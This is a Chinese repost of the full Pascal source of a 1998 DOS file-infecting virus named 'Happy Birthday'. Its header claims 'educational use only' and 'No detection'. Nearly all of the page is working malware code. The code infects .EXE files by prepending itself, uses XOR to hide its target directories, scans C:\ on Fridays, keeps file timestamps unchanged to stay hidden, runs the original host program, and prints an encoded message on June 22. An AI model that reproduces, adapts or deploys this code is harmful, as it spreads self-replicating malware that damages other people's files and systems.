Pascal编写的蠕虫病毒，凌盟提供，Chaobs转载

{ Happy Birthday (c) 1998 WoRm
I don't take responsibility for any damage caused by this virus.
It was made for EDUCATIONAL USE ONLY.
AVs : No detection
Size : 8928 bytes
Payload : yes - display text
Stealth : yes - file time
Infects : exe
Encryption : no
If you've got any question write to 
}
{$I-}
uses windos,dos;
const virushossz=8928;
dir:array[1..4] of string[10]=('g?Z`ido','g?Zmi}o`','g?Z`idox','g?Zmi}
o`cf');
var exebuffer,virusbuffer:array[1..virushossz] of byte;
regia:word;
regit:longint;
fuck:word;
disable:file;
konyvt:string;
eddig:byte;
y,m,d,dow:word;
Function Crypt(S : String) : String; {Encryption/Decryption of}
Var {A string.}
i : Byte;
begin
For i := 1 to Length(S) Do
S[i] := Char(ord(S[i]) xor (i+3));
Crypt := S;
end;
Procedure MEGLEPETES; {Display text}
begin
GetDate(y,m,d,dow);
if (m=6) and (d=22) then begin
writeln('$Mgwxp*Izgtpk3CzDz9');
writeln('$MD)XHY+z= <?:p=5''.!!:LsOs');
end;
end;
Function DosShell(command:String):Integer;Var {Maximize HEAP before exec}
OldHeapEnd,
NewHeapEnd: Word;
Error:Integer;
Begin
Error:=0;
If MemAvail<$1000 then Error:=8;
If Error=0 then Begin
NewHeapEnd:=Seg(HeapPtr^)-PrefixSeg;
OldHeapEnd:=Seg(HeapEnd^)-PrefixSeg;
asm
mov ah,4Ah
mov bx,NewHeapEnd
mov es,PrefixSeg
Int 21h
jnc @EXIT
mov Error,ax
@EXIT:
end; {asm}
If Error=0 then begin
SwapVectors;
Exec(GetEnv('COMSPEC'),command);
SwapVectors;
asm
mov ah,4Ah
mov bx,OldHeapEnd
mov es,PrefixSeg
Int 21h
jnc @EXIT
mov Error,ax
@EXIT:
end; {asm}
end; {If}
end; {If}
DosShell:=Error;
end; {Function}
procedure futtatas; {Execute host program}
var fuf,orf:file;
fufa:searchrec;
ix:integer;
comlin:string;
begin
findfirst(paramstr(fuck),Anyfile,fufa);
if fufa.size>virushossz then begin
assign(fuf,fufa.name);
windos.getfattr(fuf,regia);
windos.setfattr(fuf,Archive);
reset(fuf,1);
assign(orf,crypt('slhsey::"hvj'));
rewrite(orf,1);
windos.getftime(fuf,regit);
seek(fuf,fufa.size-(virushossz+10));
blockread(fuf,exebuffer,virushossz);
seek(orf,0);
blockwrite(orf,exebuffer,virushossz);
seek(fuf,virushossz);
for ix:=1 to (fufa.size-(virushossz+virushossz+10)) div virushossz do be
gin
blockread(fuf,exebuffer,virushossz);
blockwrite(orf,exebuffer,virushossz);
end;
ix:=(fufa.size-(virushossz+virushossz+10)) mod virushossz;
blockread(fuf,exebuffer,ix);
blockwrite(orf,exebuffer,ix);
close(orf);
windos.setftime(fuf,regit);
close(fuf);
windos.setfattr(fuf,regia);
for dow:=1 to paramcount do
comlin:=comlin+' '+paramstr(dow);
dosshell(crypt('+f&pag~f|=?!uiw'+comlin));
erase(orf);
end;
end;
function fertozott(ellfa:searchrec):boolean; {Is file already infected?}
var i:byte;
osszeg:longint;
ellkey:array[1..10] of byte;
modosito:byte;
ellf:file;
begin
assign(ellf,ellfa.name);
windos.getfattr(ellf,regia);
windos.setfattr(ellf,archive);
reset(ellf,1);
windos.getftime(ellf,regit);
seek(ellf,ellfa.size-10);
blockread(ellf,ellkey,10);
windos.setftime(ellf,regit);
close(ellf);
windos.setfattr(ellf,regia);
osszeg:=1;
for i:=1 to 10 do begin
if ellkey[i]>9 then begin
modosito:=ellkey[i] div 10;
ellkey[i]:=ellkey[i]-10*modosito;
end;
osszeg:=osszeg*ellkey[i];
end;
if osszeg=126000 then fertozott:=true else fertozott:=false;
end;
procedure fertoz(filehelye,fileneve:string); {Infect a file - filehelye=pat
h}
label next; {of file,fileneve=its name 
}
var fef:file;
fefa:searchrec;
k:array[1..10] of byte;
dt:tdatetime;
procedure keygen;
var o:longint;
i,a:byte;
begin
repeat
o:=126000;
for i:=1 to 10 do begin
repeat
a:=random(8)+1;
until o mod a=0;
o:=o div a;
k[i]:=a;
end;
o:=1;
for i:=1 to 10 do o:=o*k[i];
until o=126000;
for i:=1 to 10 do k[i]:=k[i]+random(24)*10;
end;
begin
chdir(filehelye);
findfirst(fileneve,Anyfile,fefa);
if doserror=0 then begin
if fefa.size>virushossz+10 then begin;
assign(fef,fefa.name);
windos.getfattr(fef,regia);
windos.setfattr(fef,archive);
reset(fef,1);
windos.getftime(fef,regit);
if fertozott(fefa)<>true then begin
seek(fef,0);
blockread(fef,exebuffer,virushossz);
seek(fef,0);
blockwrite(fef,virusbuffer,virushossz);
seek(fef,fefa.size);
blockwrite(fef,exebuffer,virushossz);
keygen;
blockwrite(fef,k,10);
windos.setftime(fef,regit);
eddig:=eddig+1;
end;
close(fef);
windos.setfattr(fef,regia);
end;
end;
end;
Procedure fertozes(path : PathStr); {This one searches subdirs of the}

{Path given as parameter and }

Var SearchFile : SearchRec; {Infects them (Max. 5 files/run }

begin
if Path[Length(Path)] <> '\' then
Path := Path + '\';
FindFirst(Path + '*.*', $37, SearchFile);
While (DosError = 0) and (eddig<5) do
begin
if ((SearchFile.Attr and $10) = $10) and (SearchFile.Name[1] <> '.') and
(eddig<5) then
Fertozes(Path + SearchFile.Name)
else
if (Pos('.EXE',SearchFile.Name)<>0) and (eddig<5) then begin
fertoz(Path,SearchFile.Name);
end;
if (eddig<5) then FindNext(SearchFile);
end;
end;
procedure inicializacio;
var inf:file;
begin
assign(inf,paramstr(fuck)); {Open current file (host)}

getfattr(inf,regia); {Save file time for time }

setfattr(inf,archive); {Stealth and move Vx code}

reset(inf,1); {Into Vx buffer. }

getftime(inf,regit);
seek(inf,0);
blockread(inf,virusbuffer,virushossz);
setftime(inf,regit); {Close file and set time }

close(inf);
setfattr(inf,regia);
end;
begin
getdir(0,konyvt); {Get current dir}
randomize; {For the keygenerator}
eddig:=0;
inicializacio; {Initialize buffers}
getdate(y,m,d,dow);
if dow=5 then fertozes('c:\'); {Infect files}
for dow:=1 to 4 do begin
chdir(crypt(dir[dow]));
if ioresult=0 then fertozes(crypt(dir[dow]));
end;
futtatas; {Execute host}
MEGLEPETES; {Payload}
chdir(konyvt); {Reset original dir}
end.